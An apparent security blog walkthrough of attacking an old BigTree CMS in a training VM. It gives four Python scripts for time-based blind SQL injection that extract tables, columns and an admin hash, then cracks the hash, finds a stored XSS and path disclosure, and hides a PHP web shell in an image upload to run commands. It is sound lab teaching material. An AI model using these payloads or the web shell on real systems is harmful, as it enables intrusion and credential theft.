A Web Hack

Posted on Sun 08 February 2015 in Web Hacking

So the other day I ran across this.

Its a virtualbox VM containing load of web applications vulnerable to SQL injection put together by Pentester Academy.

I've been a member of Pentester Academy from the very start (as well as having done a few of Securitytube's earlier courses), which I highly recommend, but I've never seen this VM.

In fact there are 2 VM's on this account that I've never seen before, I've seen both the arbirary file upload VM and the command injection VM (which I done a post about 1 of the applications here) but both the SQL injection and XSS/CRSF I'd never seen before.

So I decided to give it a go.

I've done a few of the challenges and they have been very fun so far but there is 1 I'd like to share.

With these challenges I'm trying to approach them from a web analysis point of view, so I'm looking for many different vulnerablities and not just to SQL injection.

Also I'm not using any public information about the applications to attack them and I'm doing the attacks from a completely blind approach (with no access to the machine or source code at all).

The Vulnerable App

The application I will be demonstrating is Bigtree-CMS.

Its an old version of the application and I won't be downloading the source and looking at that I will just be pretending that the source code is unavaliable.

So if we download the VM, import it into virtualbox boot it up and visit:

http://[ip]/BigTree-CMS/

We are 302 redirected and see the following:

Most likely something has gone wrong here, its worth noting here that I always setup the web browser that I am using to analyse a website to go through burp suite, so let's look at burp to see what happened:

So as you can see the application is pointing to itself via localhost meaning it is using absolute links and not relative. This is probably because the application was setup using localhost as its name.

We'll have to use burp to rewrite all of the responses:

Now if we reload the page we get:

A Quick Analysis

So we have the application working normally, its time to explore it.

There is only 1 thing we know for certain about this application, and that is that it is vulnerable to an SQL injection.

If you click on the Glossary link in the top right of the homepage, you get redirected to the following url:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

This suggests that the site is using REST-style urls, which basically means the values from normal url query paramerters are integrated into the url itself. So, in regards to a search function, instead of this url:

http://[website]/[path]?search=foobar

You would have:

http://[website]/[path]/search/foobar

What this means is parts of the url can se treated as a parameter would be treated.

Also, after putting in the following url:

http://[ip]/BigTree-CMS/site/index.php/admin/

We get redirected to the following page:

I tried looking for SQL injections into the login but it appeared to be reasonably secure.

Also there doesn't appear to be a signup link anywhere and going to:

http://[ip]/BigTree-CMS/site/index.php/admin/signup/

Redirects to the login page, and:

http://[ip]/BigTree-CMS/site/index.php/signup/

404's

An SQL Injection

I'm going to rush through this section because there is a lot of trial and error involved in determining the database and building; and refining the injection attack but I go into that in much more detail in my SQL Injections post.

So my focus turned to the url parameters. I first tried:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid%27/

But got redirected back to:

http://[ip]/BigTree-CMS/site/index.php/glossary/acid/

So I tried the quote next to glossary and this happened:

This is very helpful, it actually tells us the full query we are injecting into:

Unfortunately it doesn't allow us to retrieve arbitrary information to the screen (at least that I could find) or even tell us the number of columns that the original query returns.

Obviously we can figure out the number of columns is 3 using SQL's ORDER BY because the lowest number to fail is:

http://[ip]/BigTree-CMS/site/index.php/glossary%27%20order%20by%204%20--%20/acid/

The easiest method I found of exploiting this was by using a time-based approach, I assume you could use a content-based approach by way of a forced error or ensuring no records were returned (and getting returned a 404) but I'm not on a time constraint so I wasn't too bothered.

So I first wrote a script to give me the database name (or at least a database name) and 1 of its table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                 "%28select%20concat%28table_schema,%27%20:%20%27,table_name" \
                 "%29%20from%20information_schema.tables%20where%20" \
                 "table_schema!=%27information_schema%27%20limit%201%29," \
                 "{0},1%29%29={1}%20then%20sleep(3)" \
                 "%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Believe it or not, this is how I write scripts, stright url encoded (mostly) and normally have the string on 1 line (I've put it on multiple lines here for readability).

For those of you not as used to url encoding and SQL, here is what I'm injecting:

' union select null,null,case when ascii(substr((select concat(table_schema,' : ',table_name) from information_schema.tables where table_schema!='information_schema' limit 1),[position],1))=[character ascii value] then sleep(3) else 1 end --

Then I'm checking to see if the response took longer than 3 seconds (we could increase this based on how quickly the website normally takes to respond).

I'm sending it through the proxy at 127.0.0.1:8080 (which is burp) so that burp can rewrite the relevant content and headers automatically, even though it shouldn't make a difference I thought it wouldn't hurt.

When run we get this:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-database.py"
bigtree : bigtree_404s

So we now have the database name and a table name from it, this is likely not the table we are really interested in though so another script is required to find out the rest of the table names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                     "union%20select%20null,null,case%20when%20ascii%28substr%28" \
                     "%28select%20group_concat%28table_name%20separator%20%27%20|" \
                     "%20%27%29%20from%20information_schema.tables%20where%20" \
                     "table_schema=%27bigtree%27%20and%20table_name!=" \
                     "%27bigtree_404s%27%29,{0},1%29%29=" \
                     "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

This is almost the same as the last script except I'm using GROUP_CONCAT to concatenate all the records and I'm excluding the bigtree_404s table.

Running it you get:

1
2
3
4
5
6
7
8
9
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-tables.py"
bigtree_audit_trail | bigtree_callouts | bigtree_feeds | bigtree_field_types | b
igtree_locks | bigtree_messages | bigtree_module_actions | bigtree_module_forms
| bigtree_module_groups | bigtree_module_view_cache | bigtree_module_views | big
tree_modules | bigtree_page_revisions | bigtree_pages | bigtree_pending_changes
| bigtree_resource_folders | bigtree_resources | bigtree_route_history | bigtree
_settings | bigtree_tags | bigtree_tags_rel | bigtree_templates | bigtree_users
| btx_dogwood_authors | btx_dogwood_categories | btx_dogwood_post_categories | b
tx_dogwood_posts | sample_features | sample_glossary

Obviously the table of most interest to us here is bigtree_users, now we need to figure out the column names:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28column_name%20separator%20" \
                 "%27%20|%20%27%29%20from%20information_schema.columns%20" \
                 "where%20table_name=%27bigtree_users%27%29,{0},1%29%29=" \
                 "{1}%20then%20sleep(3)%20else%201%20end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Again this is very similar to the last 2 script, except now we are looking at the columns table of the information_schema database.

Running this you get:

1
2
3
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-columns.py"
id | email | password | name | company | level | permissions | alerts | daily_di
gest | change_password_hash

Now we have enough information to get the account details, I've chosen a few interesting columns to print:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#!/usr/bin/env python

import urllib2
import sys
import string
import timeit

max = 0
charset = string.printable

if len(sys.argv) < 2:
    max = 50000
else:
    max = int(sys.argv[1])

for i in xrange(max):
    check = False
    for c in charset:
        requesturl = "http://sqli/BigTree-CMS/site/index.php/admin%27%20" \
                 "union%20select%20null,null,case%20when%20ascii%28substr" \
                 "%28%28select%20group_concat%28concat%28email,%27%20:%20" \
                 "%27,password,%27%20:%20%27,name,%27%20:%20%27,level,%27" \
                 "%20:%20%27,permissions%29%20separator%20%27%20|%20%27%29" \
                 "%20from%20bigtree.bigtree_users%29,{0},1%29" \
                 "%29={1}%20then%20sleep(3)%20else%201%20" \
                 "end%20--%20/acid/" \
                 .format(str(i+1), str(ord(c)))
        command = "import urllib2;u=\"{0}\";" \
                          "proxy=urllib2.ProxyHandler({'http': '127.0.0.1:8080'});" \
                          "opener=urllib2.build_opener(proxy);" \
                          "opener.addheaders=[('User-agent', 'Mozilla/5.0 (Windows NT 6.3; WOW64;" \
                          " rv:35.0) Gecko/20100101 Firefox/35.0')," \
                          " ('Accept', 'text/html'), ('Accept-Language', 'en_US,en;q=0.5')]"
              .format(requesturl)
        t = timeit.Timer("opener.open(u)", command)
        if t.timeit(number=1)>3.0:
            check = True
            sys.stdout.write(c)
            break

    if not check:
        break

print ''

Running this we get:

1
2
C:\Users\User>python "D:\vms\PentesterAcademy\SQL Injection\BigTree-CMS-accounts.py"
[email protected] : $P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0 : Developer : 2 :

Cracking The Hash

So we have the details for 1 user account (the admin account in this case), now we should try to crack it.

For this I'll use john the ripper.

Let's try just a normal brute force for a while and if that takes too long we'll try a dictionary attack or something:

1
2
3
4
5
6
7
root@kali:~# cat pwhash 
[email protected]:$P$BnOySvzal3k5W.2/zBqAQWF1.PFOZy0
root@kali:~# john pwhash 
Loaded 1 password hash (phpass MD5 [128/128 SSE2 intrinsics 4x4x3])
123321           ([email protected])
guesses: 1  time: 0:00:00:04 DONE (Thu Mar  5 16:28:41 2015)  c/s: 2826  trying: trident - 88888888
Use the "--show" option to display all of the cracked passwords reliably

Luckily this was a very insecure password and the hash was cracked very quickly using a brute force (this is another security issue, allowing weak passwords).

Some More Poking About

After logging in as the [email protected] user, you should see this:

Clicking around there are a number of interesting things, like a stored XSS in the footer social links, so by creating a footer link like this:

And while it doesn't run when viewed in the admin panel (bare in mind that the subtitle field is likely vulnerable too to make this less obvious):

When any normal page is visited, the attack is run:

And looking at this response in burp, we can see where our attack payload is put:

But, more interestingly, in Modules -> Features -> Add Feature I have the ability to upload pictures:

Unrestricted File Upload Vulnerability

So, first I just upload a normal image file.

For this I'm going to use this image (credits to Majonez who created it).

I just saved it with the filename one.jpg, select it in the form, put the title as one, click Save & Publish and I get this:

Its asking to crop the image, which probably means there is some sort of analysis done on the image.

Full Path Disclosure

At this point I decided to try to upload a plain PHP backdoor, so I clicked on the View Features button and was presented with this:

Obviously because I started uploading the image it created the feature but as I didn't crop it it hasn't finished creating the feature, this is a logic flaw in the application which may or may not lead to a security vulnerability.

Let's look at this feature:

So the logic flaw lead to a full path disclosure vulnerability, really the developers should have waited until all of the steps of creating the feature had completed before creating the feature, discarding any half created features after a timeout, also this error should be caught and dealt with gracefully.

Back To The File Upload

Anyway, we can continue by trying to upload the following PHP file:

1
<?php echo system($_GET['cmd']); ?>

This is just a very simple PHP backdoor which will take an input in the cmd argument of a query string of a GET request.

Trying to upload the file in the same manner as I did the image, I get:

The image size is 1 issue but it also says that it isn't an image file, this could just be a content type check or it could also check the file extension.

Hopefully we can beat both of these checks by using a real image but chaning the file extension to .php.

Firstly I will change the size to 1400x625, which is the size it wanted to crop the image to, I done this in GIMP in Image -> Scale Image...:

I saved this to two.jpg, renamed it to two.php and attempted the upload again:

So its uploaded successfully!

Right clicking on the new image and clicking Copy Image Location gives us the following url:

http://[ip]/BigTree-CMS/site/files/features/t_two.php

In that folder there is currently the following files:

Obviously, these will not work as PHP files yet because they contain no actual PHP code, we will sort that out in a minute, but we can see that both two.php and xlrg_two.php is very likely our original file, whereas t_two.php is a different version created by the application.

So I added some PHP code into the comments section of the image, using GIMP again, going to File -> Export..., putting three.jpg as the name and clicking Export:

Again, change the file extension from .jpg to .php and do the upload.

After, visit the following url to see if it has worked:

http://[ip]/BigTree-CMS/site/files/features/three.php?cmd=cat%20/etc/passwd

Obviously that didn't work :-(

After, a lot of trial and error, I decided to try search for other instances of <? (the opening of PHP code in PHP files) using the hex editor HxD:

There were 2 other instances (apart from the 1 in the commands section which contains my PHP code), here is the comment section in HxD:

I changed one of the values so that there were no other instances and tried again:

Clearly it didn't work, but at least now its not producing an error (its returning the actual content of the file instead of nothing which means those 2 extra <? where a problem).

I thought that maybe the application was stripping the comment section, so I used HxD again to insert my PHP code directly into the middle of the actual image:

Trying this file, gives us:

I now have the ability to run OS commands on the webserver.

PWNED!!! :-D

Conclusion

I think this post illustrates the different steps that might be involved in a full attack against a web application.

As you can see, there could be many vulnerabilities involved (I found at least 6 vulnerabilities in this application), each getting you closer and closer to the ultimate goal of RCE (remote code execution).

There will always be a reasonable level of trial and error when figuring out how to exploit most vulnerabilities, in all of the simplist cases, so a lot of patience is required to be successful!

Happy Hacking :-)

Further Reading

The Web Application Hackers Handbook by Dafydd Stuttard and Marcus Pinto (Here is the website that accompanies the book)

OWASP Testing Guide which can be viewed online or downloaded from here.

SQL Injection Attacks and Defense by Justin Clarke

Pentester Academy by Vivek Ramachandran has a number of relevant courses (WAP, Challenges and Python)